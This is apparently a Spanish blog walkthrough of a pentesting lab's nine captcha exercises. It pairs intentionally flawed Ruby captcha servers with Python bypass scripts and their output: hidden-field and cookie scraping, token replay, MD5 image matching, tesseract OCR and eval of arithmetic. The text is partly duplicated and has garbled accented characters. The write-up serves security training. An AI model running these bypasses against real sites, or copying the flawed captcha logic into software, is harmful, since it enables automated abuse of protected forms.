Seguro que todos sab茅is lo que es un captcha, normalmente una imagen de un texto para que lo identifiquemos visualmente y lo introduzcamos en un formulario y de esa manera demostrar que somos humanos. Digo una imagen de un texto pero ni que decir tiene 茅sto que ha evolucionado y hoy en d铆a ya nos encontramos con captchas que nos proponen identificar ciertas formas, responder a diversas preguntas, interpretar un audio, etc. e incluso hacer un simple 'clic' con un algoritmo funcionando "en la sombra"...
Para quien no lo sepa, captcha viene del acr贸nimo "Completely Automated Public Turing test to tell Computers and Humans Apart " o, en castellano, prueba de Turing completamente autom谩tica y p煤blica para diferenciar ordenadores de humanos, yafortunadamente su uso est谩 adoptado ampliamente en los formularios de muchos sitios web.
Hace ya unos cuantos a帽os vimos una serie de recursos para evadir estos "molestos" captchas y hoy de repente nos encontramos con una serie de ejercicios en el laboratorio 'Web for pentester II' que precisamente nos permitir谩n entender un poco y desarrollar los "bypasses" m谩s sencillos contra esta medida. As铆 que vamos a ello.
Ejercicio 1:
El primer script tiene un fallo de l贸gica, b谩sicamente si la aplicaci贸n recibe un captcha no v谩lido no escapar谩 correctamente, d谩ndonos acceso sin necesidad de introducir nada.
Basta por lo tanto con interceptar la petici贸n GET y quitar el par谩metro captcha:
SERVIDOR
Ejercicio 2:
En el segundo ejercicio, si inspeccionamos el c贸digo fuente, vemos que el valor del captcha se encuentra en un campo oculto del formulario:
Para automatizar el proceso podemos crear un sencillo script en python que utiliza la librer铆a BeautifulSoup para parsear el c贸digo HTML de la respuesta y mostrar el valor del campo oculto (captcha):
SCRIPT
python captcha2.py
El captcha es = H\nxDbfIge
SERVIDOR
Ejercicio 3:
El tercer ejemplo es similar al anterior, pero esta vez el valor es devuelto en la cookie:
As铆 que para automatizar la extracci贸n del captcha basta con crear un script que obtenga el valor de la cookie:
SCRIPT
# python captcha3.py
bePZhyiDuK
SERVIDOR
Ejercicio 4:
En este ejercicio hay un fallo en el token, b谩sicamente si resuelves el captcha una vez y refrescas la p谩gina, la informaci贸n se enviar谩 una y otra vez. Esto significa que se puede escribir un script para volver a enviar la misma informaci贸n varias veces y saltarse el captcha:
SERVIDOR
Ejercicio 5:
El quinto ejercicio es el 煤ltimo ejemplo de fallos en la implentaci贸n de captchas, aqu铆 la debilidad proviene del diccionario utilizado para crear el captcha; s贸lo hay un n煤mero limitado de palabras (im谩genes) utilizadas. Por lo tanto podemos escribir un cracker generando una lista de todas las palabras y el MD5 de cada imagen. De esta manera, cuando enviemos el formulario, s贸lo tendremos que recuperar la imagen, calcular su MD5 y enviar la palabra correspondiente.
SCRIPT
# python captcha5.py
captcha.png?t=1496015861.357713
4039a3ef7fc79e4adb60b43ac108d648
admin
SERVIDOR
Ejercicio 6:
En este ejercicio para evadir el captcha es necesario utilizar una herramienta de OCR como tesseract. Para ello hay que crear un script que descargue la imagen y luego ejecute tesseract con el siguiente c贸digo: 'tesseract imagefile.png' 脡sto crear谩 un archivo out.txt con la respuesta al captcha.
Primero instalamos tesseract:
apt-get install tesseract-ocr
Y luego adaptamos un poco el script que encontr茅 en:
http://pwndizzle.blogspot.com/2013/12/breaking-bugcrowds-captcha-with-python.html
SCRIPT
Como v茅is a continuaci贸n todo el proceso de automatizaci贸n funciona a la perfecci贸n:
# python3 autocaptcha.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=6f110071af87122de31805ae6977e8eb104cb7dcc5912c874064b36436b86057; path=/; HttpOnly
-----Token: 1496157822.5596094
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: jasmine
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=jasmine&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
Ejercicio 7:
Este ejemplo es igual que el anterior pero el captcha a帽ade unas l铆neas azules para dificultar el reconocimiento OCR:
Si lanzamos el script anterior veremos que esta vez no es capaz de reconocer el texto de la imagen:
# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=3919e20def48b2cca9e98b72b120f65c1afcb201ba625b255e99f3515590fb28; path=/; HttpOnly
-----Token: 1496161564.1624959
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: Ei铿乮铿伱╋瑏茅铿乮ii
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=Ei铿乮铿伱╋瑏茅铿乮ii&Submit+Query
Error: 'ascii' codec can't encode character '\ufb01' in position 39: ordinal not in range(128)
[+] Fin!
Tendremos por tanto que quitar las l铆neas azules. Para ello podemos cambiar el valor del umbral en la imagen con el comando: convert captcha1.png -white-threshold 1% captcha2.png
Entonces simplemente basta con a帽adir al final de la funci贸n resise la ejecuci贸n del comando anterior:
os.system('convert captcha1.png -white-threshold 1% captcha2.png')
Sin olvidar de a帽adir el ‘import os’ al principio y cambiar en la url example6 por example7.
# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=d1804f642992f737761a67f313ba9dba5352adffc341b9cd8e35de3d51e1a16c; path=/; HttpOnly
-----Token: 1496162993.1133218
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: scruffy
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example7/submit?captcha=scruffy&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
Ejercicio 8:
Este ejercicio es otra versi贸n de los ejemplos anteriores, s贸lo que esta vez la imagen est谩 implosionada.
Para convertirla a una forma m谩s legible podemos hacerlo con:
# python3 autocaptcha3.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=b8454c97d19349329a0b9f593b12e8d978a6dc5adebb94cf4a491776c573abde; path=/; HttpOnly
-----Token: 1496178022.3857043
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: warren
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example8/submit?captcha=warren&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
Ejercicio 9:
El 煤ltimo captcha es una pregunta aritm茅tica:
Sin embargo, si vemos el c贸digo fuente veremos que tanto los n煤meros como los operadores se pasan en texto, no como im谩genes:
Por lo tanto podemos crear un script que lea el c贸digo fuente y extra铆ga la informaci贸n (n煤meros y operador), calcular la operaci贸n aritm茅tica y pasarla en el formulario.
SCRIPT
# python3 aritmetico2.py
[+] Descargando Pagina
-----Cookie extraida: rack.session=f570e46dad1e64b3c44deebb010efd92524910ba5d46a3078d38dd9e1ecd5948; path=/; HttpOnly
-----Token: 21-7
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example9/submit?captcha=14&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
Y hasta aqu铆 las pruebas para evadir captchas. Nos vemos en los siguientes ejercicios de ‘Web for pentester II’
[Pentesterlab write-ups by Hackplayers] Web For Pentester II:
Para quien no lo sepa, captcha viene del acr贸nimo "Completely Automated Public Turing test to tell Computers and Humans Apart " o, en castellano, prueba de Turing completamente autom谩tica y p煤blica para diferenciar ordenadores de humanos, y
Hace ya unos cuantos a帽os vimos una serie de recursos para evadir estos "molestos" captchas y hoy de repente nos encontramos con una serie de ejercicios en el laboratorio 'Web for pentester II' que precisamente nos permitir谩n entender un poco y desarrollar los "bypasses" m谩s sencillos contra esta medida. As铆 que vamos a ello.
Ejercicio 1:
El primer script tiene un fallo de l贸gica, b谩sicamente si la aplicaci贸n recibe un captcha no v谩lido no escapar谩 correctamente, d谩ndonos acceso sin necesidad de introducir nada.
Basta por lo tanto con interceptar la petici贸n GET y quitar el par谩metro captcha:
SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'
class CaptchaExample1 < PBase
use Rack::Session::Sequel
set :views, File.join(File.dirname(__FILE__), 'example1', 'views')
set :public_folder, File.join(File.dirname(__FILE__), 'example1', 'public')
def self.path
"/captcha/example1/"
end
get '/' do
session[:captcha] = gen_captcha
erb :index
end
get "/submit" do
if params[:captcha] and params[:captcha] != session[:captcha]
@message = "Invalid Captcha!"
redirect CaptchaExample1.path
end
erb :win
end
def gen_captcha
str = rand_str
image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_weight = Magick::BoldWeight
self.pointsize = 32
self.stroke = 'transparent'
self.fill = 'black'
self.gravity = Magick::SouthGravity
end
image = image.implode(0.4)
image.write(File.join(File.dirname(__FILE__), 'example1', 'public',"captcha.png"))
str
end
def rand_str
10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
end
end
Ejercicio 2:
En el segundo ejercicio, si inspeccionamos el c贸digo fuente, vemos que el valor del captcha se encuentra en un campo oculto del formulario:
Para automatizar el proceso podemos crear un sencillo script en python que utiliza la librer铆a BeautifulSoup para parsear el c贸digo HTML de la respuesta y mostrar el valor del campo oculto (captcha):
SCRIPT
import urllib
from bs4 import BeautifulSoup
f = urllib.urlopen("http://vulnerable/captcha/example2/").read()
soup = BeautifulSoup(f,"lxml")
repElemList = soup.find_all('input', type='hidden')
for repElem in repElemList:
repElemID = repElem.get('value')
print("El captcha es = %s" % repElemID)
python captcha2.py
El captcha es = H\nxDbfIge
SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'
class CaptchaExample2 < PBase
use Rack::Session::Sequel
set :views, File.join(File.dirname(__FILE__), 'example2', 'views')
set :public_folder, File.join(File.dirname(__FILE__), 'example2', 'public')
def self.path
"/captcha/example2/"
end
get '/' do
@answer = gen_captcha
erb :index
end
get "/submit" do
if params[:captcha] and params[:captcha] != params[:answer]
@message = "Invalid Captcha!"
redirect CaptchaExample2.path
end
erb :win
end
def gen_captcha
str = rand_str
image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_weight = Magick::BoldWeight
self.pointsize = 32
self.stroke = 'transparent'
self.fill = 'black'
self.gravity = Magick::SouthGravity
end
image = image.implode(0.4)
image.write(File.join(File.dirname(__FILE__), 'example2', 'public',"captcha.png"))
str
end
def rand_str
10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
end
end
Ejercicio 3:
El tercer ejemplo es similar al anterior, pero esta vez el valor es devuelto en la cookie:
As铆 que para automatizar la extracci贸n del captcha basta con crear un script que obtenga el valor de la cookie:
SCRIPT
import requests
r = requests.get('http://vulnerable/captcha/example3')
c = r.cookies
i = c.items()
for name, value in i:
print(value)
# python captcha3.py
bePZhyiDuK
SERVIDOR
require 'sinatra/base'
require 'sinatra/cookies'
require 'sinatra/contrib'
require 'RMagick'
class CaptchaExample3 < PBase
set :views, File.join(File.dirname(__FILE__), 'example3', 'views')
set :public_folder, File.join(File.dirname(__FILE__), 'example3', 'public')
def self.path
"/captcha/example3/"
end
get '/' do
str = gen_captcha
response.set_cookie("captcha", str)
erb :index
end
get "/submit" do
if params[:captcha].nil? or params[:captcha] != request.cookies["captcha"]
@message = "Invalid Captcha!"
redirect CaptchaExample3.path
end
erb :win
end
def gen_captcha
str = rand_str
image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_weight = Magick::BoldWeight
self.pointsize = 32
self.stroke = 'transparent'
self.fill = 'black'
self.gravity = Magick::SouthGravity
end
image = image.implode(0.4)
image.write(File.join(File.dirname(__FILE__), 'example3', 'public',"captcha.png"))
str
end
def rand_str
10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
end
end
Ejercicio 4:
En este ejercicio hay un fallo en el token, b谩sicamente si resuelves el captcha una vez y refrescas la p谩gina, la informaci贸n se enviar谩 una y otra vez. Esto significa que se puede escribir un script para volver a enviar la misma informaci贸n varias veces y saltarse el captcha:
SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'
class CaptchaExample4 < PBase
use Rack::Session::Sequel
set :views, File.join(File.dirname(__FILE__), 'example4', 'views')
set :public_folder, File.join(File.dirname(__FILE__), 'example4', 'public')
def self.path
"/captcha/example4/"
end
def self.allwords
@@allwords
end
def self.allwords=(value)
@@allwords = value
end
configure {
CaptchaExample4.allwords = File.readlines(File.join(File.dirname(__FILE__), 'example4',"dico.txt"))
}
get '/' do
session[:captcha] = gen_captcha
erb :index
end
get "/submit" do
if params[:captcha].nil? or params[:captcha] != session[:captcha]
@message = "Invalid Captcha!"
session[:captcha] = gen_captcha
redirect CaptchaExample4.path
end
erb :win
end
def gen_captcha
str = rand_str
image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,15, str) do
self.font_weight = Magick::BoldWeight
self.pointsize = 32
self.stroke = 'transparent'
self.fill = 'black'
self.gravity = Magick::CenterGravity
end
image = image.implode(0.4)
image.write(File.join(File.dirname(__FILE__), 'example4', 'public',"captcha.png"))
str
end
def rand_str
CaptchaExample4.allwords[rand(CaptchaExample4.allwords.size)].chomp
end
end
Ejercicio 5:
El quinto ejercicio es el 煤ltimo ejemplo de fallos en la implentaci贸n de captchas, aqu铆 la debilidad proviene del diccionario utilizado para crear el captcha; s贸lo hay un n煤mero limitado de palabras (im谩genes) utilizadas. Por lo tanto podemos escribir un cracker generando una lista de todas las palabras y el MD5 de cada imagen. De esta manera, cuando enviemos el formulario, s贸lo tendremos que recuperar la imagen, calcular su MD5 y enviar la palabra correspondiente.
SCRIPT
import cookielib, urllib2, urllib
from lxml import etree
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
page = opener.open("http://vulnerable/captcha/example5/")
page.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0)]
reddit = etree.HTML(page.read())
for img in reddit.xpath('//img/@src'):
print img
a = str(img)
resource = urllib.urlopen('http://vulnerable/captcha/example5/' + a)
output = open("file01.png","wb")
output.write(resource.read())
output.close()
#obtener el hash md5 de cada imagen
import hashlib
hasher = hashlib.md5()
with open('file01.png', 'rb') as afile:
buf = afile.read()
hasher.update(buf)
md5 = (hasher.hexdigest())
md5= str(md5)
print md5
# comprobar si el md5 es igual al de la lista creada
if md5 == "FE9AC5CFB7B2438C900ED3E56C0E2CB0" : print "0dayz"
elif md5 == "4c298cfa40e502fb644d9a5fdc9c6a11": print "vulnerability"
elif md5 == "3761dd5bdb3dae4fc7ba3d5652b7bfc0": print "security"
elif md5 == "4039a3ef7fc79e4adb60b43ac108d648": print "admin"
elif md5== "93c985c35fa28eb819d91b5f55be7b65": print "compromise"
elif md5== "3d0a2ab11fb9c59d19a9d95d56ea2e6d": print "hacker"
elif md5 == "539746c4b3beae3e77773fa940d83d78": print "petester"
elif md5 == "fe9ac5cfb7b2438c900ed3e56c0e2cb0" :print "0dayz"
else: print "END"
# python captcha5.py
captcha.png?t=1496015861.357713
4039a3ef7fc79e4adb60b43ac108d648
admin
SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'
class CaptchaExample5 < PBase
use Rack::Session::Sequel
set :views, File.join(File.dirname(__FILE__), 'example5', 'views')
set :public_folder, File.join(File.dirname(__FILE__), 'example5', 'public')
def self.path
"/captcha/example5/"
end
get '/' do
session[:captcha] = gen_captcha
erb :index
end
get "/submit" do
if params[:captcha].nil? or params[:captcha] != session[:captcha]
@message = "Invalid Captcha!"
session[:captcha] = gen_captcha
redirect CaptchaExample5.path
end
session[:captcha] = gen_captcha
erb :win
end
def gen_captcha
str = rand_str
image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_weight = Magick::BoldWeight
self.pointsize = 32
self.stroke = 'transparent'
self.fill = 'black'
self.gravity = Magick::SouthGravity
end
image = image.implode(0.4)
image.write(File.join(File.dirname(__FILE__), 'example5', 'public',"captcha.png"))
str
end
def rand_str
arr = ['hacker', 'admin', 'pentester', 'security', '0dayz', 'vulnerability', 'compromise']
arr[rand(arr.size)]
end
end
Ejercicio 6:
En este ejercicio para evadir el captcha es necesario utilizar una herramienta de OCR como tesseract. Para ello hay que crear un script que descargue la imagen y luego ejecute tesseract con el siguiente c贸digo: 'tesseract imagefile.png' 脡sto crear谩 un archivo out.txt con la respuesta al captcha.
Primero instalamos tesseract:
apt-get install tesseract-ocr
Y luego adaptamos un poco el script que encontr茅 en:
http://pwndizzle.blogspot.com/2013/12/breaking-bugcrowds-captcha-with-python.html
SCRIPT
from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import subprocess
import urllib, requests, re, json
def getpage():
try:
print("[+] Descargando Pagina");
site = urllib.request.urlopen("http://vulnerable/captcha/example6/")
global cookie
cookie = site.getheader('Set-Cookie')
print("-----Cookie extraida: " + cookie);
site_html = site.read().decode("utf-8")
#print(site_html)
global token
#Obtener el token (10 numeros + . + 7 numeros
token = re.findall('[(\d+.\d+)]{18}', site_html)
print ("-----Token: " + token[0])
except URLError as e:
print ("*****Error: No puede descargar la pagina*****");
def getcaptcha():
try:
print("[+] Descargando Captcha");
captchaurl = "http://vulnerable/captcha/example6/captcha.png?t="+token[0]
urlretrieve(captchaurl,'captcha.png')
except URLError as e:
print ("*****Error: No puede descargar la pagina*****");
def resizer():
print("[+] Redimensionando...");
im1 = Image.open("captcha.png")
width, height = im1.size
im2 = im1.resize((int(width*5), int(height*5)), Image.BICUBIC)
im2.save("captcha1.png")
def tesseract():
try:
print("[+] Ejecutando Tesseract...");
#Run Tesseract, -psm 8, tells Tesseract we are looking for a single word
subprocess.call(['tesseract', 'captcha1.png', 'output', '-psm', '8'])
f = open ("output.txt","r")
global cvalue
#Borra los espacios en blanco y las nuevas lineas de la salida Tesseract
cvaluelines = f.read().replace(" ", "").split('\n')
cvalue = cvaluelines[0]
print("-----Captcha: " + cvalue);
except Exception as e:
print ("Error: " + str(e))
def send():
try:
print("[+] Enviando peticion...");
urlconcaptcha = "http://vulnerable/captcha/example6/submit?captcha="+str(cvalue)+"&Submit+Query"
print("-----URL: " + urlconcaptcha);
request = urllib.request.Request(urlconcaptcha,headers={'Cookie':cookie})
f = urlopen(request)
response = f.read().decode('utf-8')
#print(response)
exito = re.search('Success', response)
if exito:
print("-----Conseguido!")
else:
print ("-----Fallo!")
except Exception as e:
print ("Error: " + str(e))
print("[+] Inicio!");
#Descarga la p谩gina y la parsea
getpage();
#Descarga la imagen del captcha
getcaptcha();
#Redimensiona la imagen del captcha
resizer();
#Usa Tesseract para analizar la imagen del captcha
tesseract();
#Envia la peticion al sitio con los datos del formulario y el captcha
send();
print("[+] Fin!");
Como v茅is a continuaci贸n todo el proceso de automatizaci贸n funciona a la perfecci贸n:
# python3 autocaptcha.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=6f110071af87122de31805ae6977e8eb104cb7dcc5912c874064b36436b86057; path=/; HttpOnly
-----Token: 1496157822.5596094
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: jasmine
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=jasmine&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'
class CaptchaExample6 < PBase
def self.allwords
@@allwords
end
def self.allwords=(value)
@@allwords = value
end
configure {
CaptchaExample6.allwords = File.readlines(File.join(File.dirname(__FILE__), 'example6',"dico.txt"))
}
def self.path
"/captcha/example6/"
end
set :public_folder, File.join(File.dirname(__FILE__), 'example6', 'public')
set :views, File.join(File.dirname(__FILE__), 'example6', 'views')
use Rack::Session::Sequel
get '/' do
session[:captcha] = gen_captcha
erb :index
end
get "/submit" do
if params[:captcha].nil? or params[:captcha] != session[:captcha]
@message = "Invalid Captcha!"
session[:captcha] = gen_captcha
redirect CaptchaExample6.path
end
session[:captcha] = gen_captcha
erb :win
end
def gen_captcha
str = rand_str
image = Magick::Image.new(150,50) do
self.background_color = 'white'
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_family = 'arial'
self.pointsize = 32
self.fill = 'black'
self.gravity = Magick::CenterGravity
end
image.write(File.join(File.dirname(__FILE__), 'example6', 'public',"captcha.png"))
str
end
def rand_str
CaptchaExample6.allwords[rand(CaptchaExample6.allwords.size)].chomp
end
Ejercicio 7:
Este ejemplo es igual que el anterior pero el captcha a帽ade unas l铆neas azules para dificultar el reconocimiento OCR:
Si lanzamos el script anterior veremos que esta vez no es capaz de reconocer el texto de la imagen:
# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=3919e20def48b2cca9e98b72b120f65c1afcb201ba625b255e99f3515590fb28; path=/; HttpOnly
-----Token: 1496161564.1624959
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: Ei铿乮铿伱╋瑏茅铿乮ii
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=Ei铿乮铿伱╋瑏茅铿乮ii&Submit+Query
Error: 'ascii' codec can't encode character '\ufb01' in position 39: ordinal not in range(128)
[+] Fin!
Tendremos por tanto que quitar las l铆neas azules. Para ello podemos cambiar el valor del umbral en la imagen con el comando: convert captcha1.png -white-threshold 1% captcha2.png
Entonces simplemente basta con a帽adir al final de la funci贸n resise la ejecuci贸n del comando anterior:
os.system('convert captcha1.png -white-threshold 1% captcha2.png')
Sin olvidar de a帽adir el ‘import os’ al principio y cambiar en la url example6 por example7.
# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=d1804f642992f737761a67f313ba9dba5352adffc341b9cd8e35de3d51e1a16c; path=/; HttpOnly
-----Token: 1496162993.1133218
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: scruffy
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example7/submit?captcha=scruffy&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
...
def gen_captcha
str = rand_str
image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.background_color = 'white'
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_family = 'arial'
self.pointsize = 32
self.fill = 'black'
self.gravity = Magick::CenterGravity
end
image.write(File.join(File.dirname(__FILE__), 'example7', 'public',"captcha.png"))
str
end
....
Ejercicio 8:
Este ejercicio es otra versi贸n de los ejemplos anteriores, s贸lo que esta vez la imagen est谩 implosionada.
Para convertirla a una forma m谩s legible podemos hacerlo con:
os.system('convert captcha1.png -white-threshold 20% captcha2.png')
os.system('convert captcha2.png -implode -0.5 captcha3.png')
# python3 autocaptcha3.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=b8454c97d19349329a0b9f593b12e8d978a6dc5adebb94cf4a491776c573abde; path=/; HttpOnly
-----Token: 1496178022.3857043
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: warren
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example8/submit?captcha=warren&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
def gen_captcha
str = rand_str
image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.background_color = 'white'
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_family = 'arial'
self.pointsize = 32
self.fill = 'black'
self.gravity = Magick::CenterGravity
end
image = image.implode(0.4)
image.write(File.join(File.dirname(__FILE__), 'example8', 'public',"captcha.png"))
str
end
Ejercicio 9:
El 煤ltimo captcha es una pregunta aritm茅tica:
Sin embargo, si vemos el c贸digo fuente veremos que tanto los n煤meros como los operadores se pasan en texto, no como im谩genes:
Por lo tanto podemos crear un script que lea el c贸digo fuente y extra铆ga la informaci贸n (n煤meros y operador), calcular la operaci贸n aritm茅tica y pasarla en el formulario.
SCRIPT
from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import subprocess
import urllib, requests, re, os
print("[+] Descargando Pagina");
site = urllib.request.urlopen("http://vulnerable/captcha/example9/")
global cookie
cookie = site.getheader('Set-Cookie')
print("-----Cookie extraida: " + cookie);
site_html = site.read().decode("utf-8")
#print(site_html)
global token
# Obtener el token (10 numeros + . + 7 numeros)
token = re.findall(r'(?:[0-9]|[0-9])+[\+\-\^\*]+(?:[0-9]|[0-9])', site_html)
print ("-----Token: " + token[0])
resultado=eval(token[0])
#print(resultado)
print("[+] Enviando peticion...");
urlconcaptcha = "http://vulnerable/captcha/example9/submit?captcha="+str(resultado)+"&Submit+Query"
print("-----URL: " + urlconcaptcha);
request = urllib.request.Request(urlconcaptcha,headers={'Cookie':cookie})
f = urlopen(request)
response = f.read().decode('utf-8')
#print(response)
exito = re.search('Success', response)
if exito:
print("-----Conseguido!")
else:
print ("-----Fallo!")
print("[+] Fin!");
# python3 aritmetico2.py
[+] Descargando Pagina
-----Cookie extraida: rack.session=f570e46dad1e64b3c44deebb010efd92524910ba5d46a3078d38dd9e1ecd5948; path=/; HttpOnly
-----Token: 21-7
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example9/submit?captcha=14&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'
class CaptchaExample9 < PBase
def self.path
"/captcha/example9/"
end
set :public_folder, File.join(File.dirname(__FILE__), 'example9', 'public')
set :views, File.join(File.dirname(__FILE__), 'example9', 'views')
use Rack::Session::Sequel
get '/' do
session[:captcha], @expr = gen_captcha
erb :index
end
get "/submit" do
if params[:captcha].nil? or params[:captcha].to_i != session[:captcha]
@message = "Invalid Captcha!"
session[:captcha] = gen_captcha
redirect CaptchaExample9.path
end
session[:captcha] = gen_captcha
erb :win
end
def gen_captcha
str = ""
ops = ['+', '-', '*' ]
op = ops[rand(3)]
i1 = rand(30)
i2 = rand(30)
case op
when '+'
return [ i1+i2, "#{i1}+#{i2}" ]
when '-'
return [ i1-i2, "#{i1}-#{i2}" ]
when '*'
return [ i1*i2, "#{i1}*#{i2}" ]
end
end
def rand_str
CaptchaExample9.allwords[rand(CaptchaExample9.allwords.size)].chomp
end
end
Y hasta aqu铆 las pruebas para evadir captchas. Nos vemos en los siguientes ejercicios de ‘Web for pentester II’
[Pentesterlab write-ups by Hackplayers] Web For Pentester II:
| SQL Injections | |
|---|---|
| Authentication | |
| Captcha | |
| Authorization & Mass Assignment | |
| Randomness Issues & MongoDB injection |























Comentarios
Publicar un comentario